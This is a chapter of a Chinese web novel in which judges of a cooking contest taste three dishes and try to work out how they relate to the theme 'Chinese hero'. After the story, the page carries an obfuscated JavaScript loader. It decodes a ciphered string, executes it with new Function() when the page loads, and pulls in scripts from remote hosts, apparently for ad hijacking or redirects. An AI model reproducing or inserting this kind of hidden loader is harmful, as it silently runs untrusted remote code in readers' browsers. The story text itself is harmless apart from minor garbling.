第三百零八章 中华英雄(2 / 2)

从中医理论来讲,猪、牛一寒一温,不宜在一起食用。

刘昴星穿越之前的世界,也经常有些不明觉厉的健康讲座会说起这一点,不过具体也说不出什么依据,最多是和一些同样原因多样、无法验证的慢性病联系到一起。

不过包括“西式肉饼”在内,不少西方菜谱中,猪牛混用的例子并不少,而且在这个世界,也没有什么人提到这一点,像是“中华一番”时期,“刘昴星”的火焰烤乳猪,也是典型的猪牛混用……

“五层……似乎有些多吧?不过并没有看出什么过于油腻的症状……”

“不过我也没有看出,这究竟是与那位‘华夏英雄’有关啊?”

评委们有些疑惑的说道。

“好了,还是先来尝尝看吧!能够猜出是哪位‘英雄’,才更有乐趣不是吗?”解大师说道。

大家这时也动起了绘里奈给评委们准备好的刀叉……

咦?不对,怎么只有一把餐刀,还有一只钎子?

评委们虽然疑惑,但是也没有多说什么,就这么将肉饼切块之后,用钎子扎着吃了……

就在下刀的一瞬间,只见里面饱满的肉汁溢了出来,从外表看起来,丝毫看不出居然会是肉汁如此饱满的肉饼!

和着红酒调制出的勾芡,将肉块入口后,只觉得一股股充盈而有爆发力的肉汁,在口齿间充斥着,而且“肉味”十足、加之红酒味底的勾芡……

虽然裹了五层猪网油,但是却丝毫也没有过于油腻的感觉!

看解大师身上的穿的花衬衫,又被他膨胀起来的肌肉,撑得鼓鼓囊囊的就知道,知道肉饼的水平如何!

“原来如此,在制作肉饼的时候,选用的是精瘦的猪里脊和牛腱肉,纯刀功切馅,半点带油花、肥腻的部分都没有加入……”

“的确,之后应该是先煎后烤,煎到半熟、令有着独特风味的猪网油化开之后,又使用无水烘烤的方式,令内中的瘦肉饼饱吸油脂,最后用明火烘烤,将外层的油脂烤干,令内部的肉汁完全封住!”

“这作为佐料的红酒基底的浇头,也调制的恰到好处,而里面最妙的是,还隐约带着枣与桂圆的香气,对于中和肉腻味,有着显著的效果!”

评委们纷纷沉浸在了对肉类的食欲中,虽然餐具并不方便,但是依旧大口大口的将每人面前巴掌大的肉饼,全部都吃了下去……

而就在这时,唐松忽然说道:“等等,你这么说起来,似乎还有这精肉饼里,还混了些干果的粉末……好像是花生碎和莲子粉?”

枣?桂圆?花生?莲子?

几名评委的脸色古怪了起来,还有哪位英雄人物,与“早生贵子”有关?

不过之前解大师说了,要全都尝了之后,再问究竟是如何破题的,所以也没有人发问,都是坐等绘里奈呈上了第二道料理……

“嗯?这次是偏向于中式的炒菜吗?”

几位评委看着面前,一份似乎是好像是青笋炒肉的东西说道。

“这是‘棒菜’吧?和牛肉一起炒的吗?”唐松夹起其中的一块说道。

棒菜是芥菜的一种,形似青笋,茎部呈圆柱形,分节稀疏、呈现白色或淡绿色,甘甜多汁……

而绘里奈使用的蜀中棒菜,更是以食用的**部分膨大、汁液饱满为特色!

几名评委说着,将平常起了面前盘子中的棒菜与切小片的牛肉,只感觉牛肉特有的醇香,与香脆、甘甜的棒菜,形成了绝妙的配合……

仅仅是牛肉入口之后,还只是“半膨胀”的解大师,在又一块棒菜入口之后,再次展现出了“完全膨胀”的样子!

“果然是牛肉中的‘黄瓜条’部分,格外的酥嫩,即便是切片之后,也难掩其独特的口感!”

“黄瓜条”指得是牛肉的一个部分,在牛臀处,沿臀骨二头肌分部的一块牛肉,又称“鲤鱼管”,商业价值上仅次于能够做牛排的那几块牛肉。

口感上类似于里脊,是用来做牛扒的上佳材料……

另外也可以切片爆炒,但是绘里奈的这道“棒菜炒肉”却并不是……

“嗯?这牛肉是在先煎制之后,才改刀切成片,之后与切小段的棒菜一切炒的!兼具了煎牛扒的口感,同时又有着爆炒的鲜香!”

“没错,因为要先将牛扒煎透,之后再用来爆炒……即便是不容易肉质老化的‘黄瓜肉’,也必须要掌握好火候才行……”

“原本西式料理,因为更加依赖烤箱等间接加热的设备,所以对火候的重视程度,普遍要弱于中式料理,在大成之后‘火工神髓’也是他们的障碍之一……之前我也以为这会是远月系出身的她的弱项,想不到……”

“这棒菜的火候也刚刚好,应该是与牛扒片一同下锅……”

“虽然是炒制的菜品,不过因为却并不令人感觉油腻,尤其是棒菜的清爽口感,与牛扒的酥软而耐嚼的口感,完美的结合了起来!”

“即便没有其他拌佐,也感觉能够吃下满满一盘啊!”

只见几名评委下箸不断,不多时每人面前的一小份“棒菜炒肉”就已经被一扫而空……

而这时绘里奈第三次呈递的,似乎已经是她所准备的最后一道料理了,而且还是甜品的样子?

每名评委面前的盘子里,都被绘里奈放了半颗木瓜,而木瓜中心的瓤、籽已经挖了出去,现在里面装的是一种白色、好似荔枝肉般晶莹剔透的食材……

“这是……雪蛤膏吧?”雷瑜说道。

“没错,正宗的长白山雪蛤膏……木瓜雪蛤,请品尝吧!”绘里奈说道。

雪蛤膏,也叫雪蛤油、蛤士膜油,是雌性雪蛤体内,输卵管附近的脂肪,属于历史悠久的名贵食补中药!

雪蛤又称“中华林蛙”,生长在长白山一带,与被称为“飞龙”的花尾榛鸡,还有猴头菇、熊掌,被并称为四大山珍。

而雪蛤膏作为干品,泡发性极强,半个木瓜瓤被填满了的雪蛤膏,估计干品时也就三五克重……

“哈哈,木瓜雪蛤吗?给我们这些老东西吃,还真是有些浪费啊!”解大师调侃道。

雪蛤膏不含胆固醇,同时却有着丰富的优质脂肪酸,有着改善雌性激素分泌的效果,被认为是一种有着美容功效的食材,又是与被认为可以丰胸的木瓜一起……显然是偏向是女性食用的甜品!

“不,只要能够品尝出它的美味,得到发自内心的满足,就不能算是浪费了。”林易说道。

解大师也点了点头:“没错没错,我觉得自己也还可能再保养一下!”说着还摸了摸自己满是周围的老脸!

说着几名评委,也纷纷拿起甜品匙,品尝起了木瓜中的雪蛤……

不知道是否是幻觉,大家发现五位评委的脸上,似乎都闪过了好似少女般的娇羞表情!

啊,至少解大师的肯定不是幻觉!

其他人还只是一闪而过,而解大师在品尝过之后,就一直处于娇羞状!

没错,没有进入肌肉爆衣的模式,而是变得娇羞起来了,连皮肤都明显变得好了许多,隐隐有些紧致白嫩的感觉?

“这在口齿间荡漾的甘甜,似乎激发了我少年时代的胶原蛋白啊!果然,男生就是要……顺滑!”解大师口中意义不明的喊着。

而刘奎是则是惊诧道:“这、这是……变异的‘衣衫绽裂’!一些有着特殊功效的料理,会令‘衣衫绽裂’者拥有的相应的美食能量,以另一种不同的形式展现出来!居然已经做到这种程度了吗?”

其他几名评委,虽然表现的没有“变异衣衫绽裂”这么明显,但是也脸上分明也闪过了娇羞……

“这雪蛤膏处理的非常完美,腥味完全祛除了!”

“没错,应该实在泡发中途,就挑去了黑膜,并且用姜片与雪蛤膏同时焯水……”

“不止如此,最后一次换水后,应该还在泡发的清水中,点了少量的白酒!”

“之后与冰糖、枸杞……还有蜂蜜一同炖煮的时候,还额外加入了木瓜块、木瓜汁,最后再将其中一块块泡发后呈现小球形的雪蛤膏取出,放入了整个的木瓜中!”

“应该在最后加入整只木瓜中之后,还隔水蒸制过,令雪蛤与木瓜的清香、还有其中甜味,完全融汇唯一……”

看着评委们的神色,刘家人一阵紧张,不过也在疑惑着,这三道看起来没什么关联的菜品,是如何破题的?

和“中华英雄”有什么关系?(未完待续。)

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();